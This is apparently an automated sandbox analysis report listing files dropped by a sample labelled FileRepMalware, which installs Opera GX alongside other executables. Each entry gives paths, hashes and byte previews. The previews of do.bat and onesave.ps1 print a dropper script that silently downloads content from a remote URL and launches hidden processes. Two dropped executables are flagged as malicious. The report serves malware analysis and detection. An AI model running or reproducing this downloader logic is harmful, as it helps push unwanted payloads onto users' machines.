                                                                                                                                                                                                              SHA1:2B24CABE3373741A3D70FF3F957C3D857154AEC7
                                                                                                                                                                                                              SHA-256:DB49DFC55370E28596B191EDC78603AA75968BB111A07852760F4E121206C664
                                                                                                                                                                                                              SHA-512:3CF26B907478542510D1C6E4429212C2DD1A1CF1FEE2827CBA0C1CB3BBC01F8B072F0D621396ACCC5BE57D093F38540FC332884B93470C82D6C10CE5B33949DD
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....n.g.........." .....|C..D,.....pm1.......................................q.......p...`A........................................b.L.m....L.......R.0.... P.......o..)....q.L>..|GL.8...................PFL.(...P.C.@...........@.L.h...h.L.`....................text....zC......|C................. ..`.rdata........C.......C.............@..@.data....s....M.......M.............@....pdata....... P.......N.............@..@.gxfg...`3....R..4...lP.............@..@.retplne.....@R.......P..................rodata......PR.......P............. ..`.tls....q....`R.......P.............@...CPADinfo@....pR.......P.............@...LZMADEC.......R.......P............. ..`_RDATA........R.......P.............@..@malloc_h......R.......P............. ..`.rsrc...0.....R.......P.............@..@.reloc..L>....q..@....o.............@..B........................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\Opera_installer_2410130833548756616.dll

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                              Category:modified
                                                                                                                                                                                                              Size (bytes):7341976
                                                                                                                                                                                                              Entropy (8bit):6.955604619089415
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:1D605FD60554EF918BF2B165F3AFB819
                                                                                                                                                                                                              SHA1:2B24CABE3373741A3D70FF3F957C3D857154AEC7
                                                                                                                                                                                                              SHA-256:DB49DFC55370E28596B191EDC78603AA75968BB111A07852760F4E121206C664
                                                                                                                                                                                                              SHA-512:3CF26B907478542510D1C6E4429212C2DD1A1CF1FEE2827CBA0C1CB3BBC01F8B072F0D621396ACCC5BE57D093F38540FC332884B93470C82D6C10CE5B33949DD
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....n.g.........." .....|C..D,.....pm1.......................................q.......p...`A........................................b.L.m....L.......R.0.... P.......o..)....q.L>..|GL.8...................PFL.(...P.C.@...........@.L.h...h.L.`....................text....zC......|C................. ..`.rdata........C.......C.............@..@.data....s....M.......M.............@....pdata....... P.......N.............@..@.gxfg...`3....R..4...lP.............@..@.retplne.....@R.......P..................rodata......PR.......P............. ..`.tls....q....`R.......P.............@...CPADinfo@....pR.......P.............@...LZMADEC.......R.......P............. ..`_RDATA........R.......P.............@..@malloc_h......R.......P............. ..`.rsrc...0.....R.......P.............@..@.reloc..L>....q..@....o.............@..B........................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h2vea2do.pkb.psm1

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                              File Type:ASCII text, with no line terminators
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):60
                                                                                                                                                                                                              Entropy (8bit):4.038920595031593
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jgjxf3wk.t5c.ps1

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                              File Type:ASCII text, with no line terminators
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):60
                                                                                                                                                                                                              Entropy (8bit):4.038920595031593
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\a6b324eb-6e39-4c7f-8dc1-7559d6b2e210.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:PNG image data, 1920 x 1080, 8-bit/color RGBA, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):948141
                                                                                                                                                                                                              Entropy (8bit):7.965073568019237
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:59122351406854398F7514926F070B0B
                                                                                                                                                                                                              SHA1:DA4B268EB748322979100FE345D89B4228E7A72E
                                                                                                                                                                                                              SHA-256:7BD924D2614FDB8E6966E2C992E0DBDB36BB1FB80B434FD80CEDB50D6A26D05E
                                                                                                                                                                                                              SHA-512:8A527A8B772E9632B8BD699606C5D5BC1ACF71A8FA3E51B24FFA8E7B9A461AD641759EB9E6922F0817FCBBEB6165939BDB7F9C29E0998001B7C8CF57BCF280CD
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR.......8........C....sRGB....... .IDATx^..O..W^/..=..I...q.hF.z.l..%D..q......B,.[...%H...`c....Y.d{$.."b.l.....50..X..2I..S.o...9u..n...'.h..{o...SU..[.S.5.. @....... @....... @....... @.@...*Z..... @....... @....... @....... .&.6... @....... @....... @....... P............ @....... @....... @.............. @....... @....... @......T" ...#5....... @....... @....... @.....`c....... @....... @....... @........+.H. @....... @....... @....... @..... @....... @....... @....... @.@%...J:R3.. @....... @....... @....... .6... @....... @....... @....... P............ @....... @....... @.............. @....... @....... @......T" ...#5....... @....... @....... @.....`c....... @....... @....... @........+.H. @....... @....... @....... @..... @....... @....... @....... @.@%...J:R3.. @....... @....... @....... .6... @....... @....... @....... P............ @....... @....... @.............. @....... @....... @......T" ...#5....... @....... @....... @.....`c....... @....... @....

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\assistant_installer_20241013043304.log

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:modified
                                                                                                                                                                                                              Size (bytes):246
                                                                                                                                                                                                              Entropy (8bit):5.0666108277481925
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:51A4EAC52BA9797FCBCA4E5989C1975F
                                                                                                                                                                                                              SHA1:85D2F037E11EDEB5AC00B7DB35C46CD97C2BAC1A
                                                                                                                                                                                                              SHA-256:838B40B4FAFBCDE3CC1A0DCE7AAF8ECB38664B6F85364580E71123108DAA4F52
                                                                                                                                                                                                              SHA-512:7CB2E26A1CC043AA3905C176EEA9042D30F8424FC8863310893285C0C51031F89F5CAFB2C3D14FFFABB82C8707E1BA39926C591467BFC0BF42735E58CDE1A7DA
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:[1013/043304.517:INFO:assistant_installer_main.cc(169)] Running assistant installer with command line "C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exe" --version.

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\ea1d1529-4830-4cd9-94dd-84ed5fae87b6.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:PNG image data, 220 x 124, 8-bit/color RGBA, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):23552
                                                                                                                                                                                                              Entropy (8bit):7.987079272926682
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:C7DC7C517403F85E861E7962B2B83432
                                                                                                                                                                                                              SHA1:BED4434B3A3AD6E3D0859904CCBB77E0ADB1D82B
                                                                                                                                                                                                              SHA-256:03A5BC5E65D231932EFA24042A838AEC2346ED0EA3533B3CE6C500B2B95E983C
                                                                                                                                                                                                              SHA-512:5F85A114B78B0EC3EA691A0F13F3E3D928CA1F7713D3AE8E2CC3A3514914189459B1C7DAE7FD6003EC903D2D860876573945B2C7663C525E9E12F9B094935880
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR.......|......F.o..[.IDATx....r.@..@).X........]x.S+.:_..*..8..h."*..8..).....p..V8......E..4.#%.4.+......b.....=...t..5R......FJ@.@K.J.@i........8...YEu....5s}...yw.\1G...k..\k..&qL.7qp.|0.....|.gz..c.nL.qkN.........f......0..z.>..r......b3y..D......}.....l.-|.s.;..<.Jv..7..y.....'.s....Nh[.....!d..g...1.cKV...."=...A...T.......>.)..._.......,_.T..*...?.S.H.j..7....m.v].e.S.%....T.U.s.._>.@.4s.ch...#.....z..sm.rG.B...:..X~.....3....>^..4....A.I..&.X...!b.._~.i.....`.I....Mxm6H.N.Ie....>.}..e.8.#. ;...2..g..l.Z..]~g.S...y.....&...f'....#./.I=}......<....oB..}x....%A........Z.N.V..@..........6N.q....H..9.N.7......S.%^..S........K.N.[..5..l.u{.+.w..0a,.t<..4.9..J.....[.p...o..|...FyH...\9.......M........Z..V.G..t...s.N..8.v..~..g.u....Q...!U.~.\..AN..fnK....:.5..C.-....Z....,V.;).....?...s...t...$....|.?.>.{.3.....).0....v.b.....5....;H....t+[..-.....cy[.;....g..#.....>R..5r.S',..@_....2..>./w..3....o....'...&g..J.f.......L..

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\Desktop\SecuriteInfo.com.FileRepMalware.27261.32754.exe
                                                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                              Category:modified
                                                                                                                                                                                                              Size (bytes):3199488
                                                                                                                                                                                                              Entropy (8bit):6.32505617149301
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5A617F74245E27297419874956A3FF3E
                                                                                                                                                                                                              SHA1:2CBF5440D087F181BD3AA1F2CC0CD5991EB23E24
                                                                                                                                                                                                              SHA-256:B0D7BC97394FFFEA516CD704377D97419B784CBF7ACB694C6A7736B89F916B58
                                                                                                                                                                                                              SHA-512:22B96898A133CF57FB71AD76A97852F750A77CB1EB90244B88151E4F087D86AD9EF348A8D2CFE410BC2A6A12440238FCD8A9ACB6C8724036908D7CDF55177734
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......c.................L,.........hf,......p,...@...........................1...........@......@....................-.......-..9...................................................................................-.......-......................text.... ,......",................. ..`.itext...(...@,..*...&,............. ..`.data...X....p,......P,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-......*-.............@..@.tls....L.....-..........................rdata..]............,-.............@..@.rsrc.................-.............@..@..............1.......0.............@..@........................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\_isetup\_setup64.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmp
                                                                                                                                                                                                              File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):6144
                                                                                                                                                                                                              Entropy (8bit):4.720366600008286
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:E4211D6D009757C078A9FAC7FF4F03D4
                                                                                                                                                                                                              SHA1:019CD56BA687D39D12D4B13991C9A42EA6BA03DA
                                                                                                                                                                                                              SHA-256:388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
                                                                                                                                                                                                              SHA-512:17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\do.bat

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmp
                                                                                                                                                                                                              File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                                                                                                              Category:modified
                                                                                                                                                                                                              Size (bytes):11174
                                                                                                                                                                                                              Entropy (8bit):5.259964313760262
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:42E4B5A2499694B1A4319C69EAECB51C
                                                                                                                                                                                                              SHA1:F12CD1C31700F8B8E6333F2742969A74BA0C7793
                                                                                                                                                                                                              SHA-256:753EB35848103D9327A4846575AB0A3BD933FCEC762D6DAAA620AFD0A533C966
                                                                                                                                                                                                              SHA-512:0AA81068869F13FFBCDE7FF804A33E85A344F56B4CD3BE899B27C80E11AE5B95DD58DA195C4F76ADD6246C11787C409DFE6356F869479C6C20683153B1A1A564
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:@ECHO OFF....REM del onesave.ps1..echo $ProgressPreference = "SilentlyContinue" >> onesave.ps1..echo Invoke-RestMethod -URI "https://examplebehavior.xyz/julkiuf?tid=50784292&pid=4134&a=2910&cc=US&t=1728804566" -UserAgent "InnoDownloadPlugin/1.5" -OutFile "start" >> onesave.ps1..echo function Invoke-Process { >> onesave.ps1..echo [CmdletBinding(SupportsShouldProcess)] >> onesave.ps1..echo param >> onesave.ps1..echo ( >> onesave.ps1..echo [Parameter(Mandatory)] >> onesave.ps1..echo [ValidateNotNullOrEmpty()] >> onesave.ps1..echo [string]$FilePath, >> onesave.ps1..echo [Parameter()] >> onesave.ps1..echo [ValidateNotNullOrEmpty()] >> onesave.ps1..echo [string]$ArgumentList, >> onesave.ps1..echo [ValidateSet("Full","StdOut","StdErr","ExitCode","None")] >> onesave.ps1..echo [string]$DisplayLevel >> onesave.ps1..echo ) >> onesave.ps1..echo $ErrorActionPreference = "Stop" >> onesave.ps1..echo try {

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\f_1.exe

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):3313856
                                                                                                                                                                                                              Entropy (8bit):7.961311133285656
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:C3D638B344B190AD1EFF657D6F30E489
                                                                                                                                                                                                              SHA1:681169F61B9620113DEB8FFF9FA284B1AC2ADEB9
                                                                                                                                                                                                              SHA-256:FA489052EAC1E1B86FF0DDF2D9D1A88FE63AB7495D6AB2E2AEBA884144885FBB
                                                                                                                                                                                                              SHA-512:F28A562AD9295594DA30A181202702DFE0C592924A8DB771E547A0D41ECA7C294E0E139E2F996BD05F91F9A8B3F15046357EC1423E338EDF6DB4F44C1AC8B125
                                                                                                                                                                                                              Malicious:true
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......N....m...m...m..A....m..A....m...._m.....m.....m..A....m..A....m...m...m....\m....X..m...m0..m.....m..Rich.m..........PE..L....if...............'.....j....................@...................................2...@.................................H...d.......L0.......... d2..,...@...1...C...............................C..@...............0............................text............................... ..`.rdata..z...........................@..@.data....K..........................@....rsrc...L0.......2..................@..@.reloc...1...@...2..................@..B........................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\f_2.exe

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                                                                                                                                                                                                              Category:modified
                                                                                                                                                                                                              Size (bytes):885578
                                                                                                                                                                                                              Entropy (8bit):7.974734228091895
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:D78375B6F08C8C1E446B05F92E3E3785
                                                                                                                                                                                                              SHA1:45DAB83DB62482CBBF27446B971D87A8CD0D2864
                                                                                                                                                                                                              SHA-256:16A8E1490FAA63C9989000B1AADC9AD83CE7BA1417FE14FA5DD72BE650F9DABB
                                                                                                                                                                                                              SHA-512:B08578DCB933E87998B67D4A193DAA497B43D05A78EAAEB232F8A0C3CD8316019CCE82539CDA819F615EFF7AA259277EAEAD03E4789E3D6CC94954BEC96E4D2D
                                                                                                                                                                                                              Malicious:true
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1 ..PN..PN..PN.*_...PN..PO.JPN.*_...PN.s~..PN..VH..PN.Rich.PN.........................PE..L...l.d.................j..........25............@.......................................@..............................................B...........................................................................................................text....h.......j.................. ..`.rdata..d............n..............@..@.data...............................@....ndata...p...P...........................rsrc....B.......D..................@..@................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\idp.dll

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmp
                                                                                                                                                                                                              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):237568
                                                                                                                                                                                                              Entropy (8bit):6.42067568634536
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:55C310C0319260D798757557AB3BF636
                                                                                                                                                                                                              SHA1:0892EB7ED31D8BB20A56C6835990749011A2D8DE
                                                                                                                                                                                                              SHA-256:54E7E0AD32A22B775131A6288F083ED3286A9A436941377FC20F85DD9AD983ED
                                                                                                                                                                                                              SHA-512:E0082109737097658677D7963CBF28D412DCA3FA8F5812C2567E53849336CE45EBAE2C0430DF74BFE16C0F3EEBB46961BC1A10F32CA7947692A900162128AE57
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........)Wj.H99.H99.H99..D9.H99..W9.H99..T9-H99zGd9.H99.H894H99..K9.H99..C9.H99..E9.H99..A9.H99Rich.H99........................PE..L......W...........!................Nr..............................................0............................... ;......h/..d.......................................................................@............................................text...i........................... ..`.rdata...n.......p..................@..@.data....:...@... ...@..............@....rsrc................`..............@..@.reloc..b-.......0...p..............@..B................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\onesave.ps1

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):7500
                                                                                                                                                                                                              Entropy (8bit):5.438391594228006
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:C7DC510A06B15188D7D1F6D2D2423CD9
                                                                                                                                                                                                              SHA1:92FAA00FE700FF7AD5A666975A40EDC878BD5982
                                                                                                                                                                                                              SHA-256:374C7763DBA6EB9AF3E7457AB8414F34CC2C2A71F902BBD473737C0920ECDCA5
                                                                                                                                                                                                              SHA-512:8FE5FD3C136AB6B819BF88FCC557CB368341411C45B3E1D2C8CAD4378FAB5AD269F8A31874063E3109FFA6699E4093AE31824AAB96CCF61A62887EA84808C6C9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:$ProgressPreference = "SilentlyContinue" ..Invoke-RestMethod -URI "https://examplebehavior.xyz/julkiuf?tid=50784292&pid=4134&a=2910&cc=US&t=1728804566" -UserAgent "InnoDownloadPlugin/1.5" -OutFile "start" ..function Invoke-Process { .. [CmdletBinding(SupportsShouldProcess)] .. param .. ( .. [Parameter(Mandatory)] .. [ValidateNotNullOrEmpty()] .. [string]$FilePath, .. [Parameter()] .. [ValidateNotNullOrEmpty()] .. [string]$ArgumentList, .. [ValidateSet("Full","StdOut","StdErr","ExitCode","None")] .. [string]$DisplayLevel .. ) .. $ErrorActionPreference = "Stop" .. try { .. $pinfo = New-Object System.Diagnostics.ProcessStartInfo .. $pinfo.FileName = $FilePath .. $pinfo.RedirectStandardError = $true .. $pinfo.RedirectStandardOutput = $true .. $pinfo.UseShellExecute = $false .. $pinfo.WindowStyle = "Hidden" .. $pinfo.CreateNoWindow = $true .. $pinfo.Argum

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\start

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                              File Type:ASCII text, with no line terminators
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2
                                                                                                                                                                                                              Entropy (8bit):1.0
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:444BCB3A3FCF8389296C49467F27E1D6
                                                                                                                                                                                                              SHA1:7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
                                                                                                                                                                                                              SHA-256:2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
                                                                                                                                                                                                              SHA-512:9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:ok

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\stat

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                              File Type:ASCII text, with no line terminators
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2
                                                                                                                                                                                                              Entropy (8bit):1.0
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:444BCB3A3FCF8389296C49467F27E1D6
                                                                                                                                                                                                              SHA1:7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
                                                                                                                                                                                                              SHA-256:2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
                                                                                                                                                                                                              SHA-512:9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:ok

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Opera GX Browser .lnk

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Sun Oct 13 07:33:55 2024, mtime=Sun Oct 13 07:33:55 2024, atime=Wed Oct 9 12:28:55 2024, length=1493400, window=hide
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1491
                                                                                                                                                                                                              Entropy (8bit):4.908011581280119
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:DCFE30660B0EB014E087329214C73BFE
                                                                                                                                                                                                              SHA1:11903D7991FDC6320A7838881DD29B8A15DC2B52
                                                                                                                                                                                                              SHA-256:7DF358C2191EBCC4E6C6257BE948A35644B966A40D0858D4D99E636861D7E70A
                                                                                                                                                                                                              SHA-512:73A9D22060F2F487466D1FCE19EF6C5467C5E7FF91B720DE3234A3F8D9B95101055DEE47EEEF586065BAB6FE6ACDEF4DB9CD18CD5177F7E615AC3D508F1EC3D3
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:L..................F.... ......J......J...b.%0O.............................:..DG..Yr?.D..U..k0.&...&......Qg.*_....i.A.....&.J.......t...CFSF..1.....EW.=..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW.=MY.C..........................3*N.A.p.p.D.a.t.a...B.P.1.....MY.;..Local.<......EW.=MY.C..........................[.-.L.o.c.a.l.....Z.1.....MY.C..Programs..B......MY.;MY.C............................].P.r.o.g.r.a.m.s.....Z.1.....MY<D..OPERAG~1..B......MY.CMY<D....9"......................A.O.p.e.r.a. .G.X.....\.2.....IY.k .opera.exe.D......MY<DMY<D.....S........................o.p.e.r.a...e.x.e.......k...............-.......j...........r0......C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe..H.....\.....\.....\.....\.....\.....\.....\.f.r.o.n.t.d.e.s.k.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.P.r.o.g.r.a.m.s.\.O.p.e.r.a. .G.X.\.o.p.e.r.a...e.x.e.2.C.:.\.U.s.e.r.s.\.f.r.o.n.t.d.e.s.k.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.P.r.o.g.r.a.m.s.\.O.p.e.r.a. .G.X.............:...........|

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Opera GX Browser .lnk

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Sun Oct 13 07:33:55 2024, mtime=Sun Oct 13 07:33:55 2024, atime=Wed Oct 9 12:28:55 2024, length=1493400, window=hide
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1491
                                                                                                                                                                                                              Entropy (8bit):4.908011581280119
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:DCFE30660B0EB014E087329214C73BFE
                                                                                                                                                                                                              SHA1:11903D7991FDC6320A7838881DD29B8A15DC2B52
                                                                                                                                                                                                              SHA-256:7DF358C2191EBCC4E6C6257BE948A35644B966A40D0858D4D99E636861D7E70A
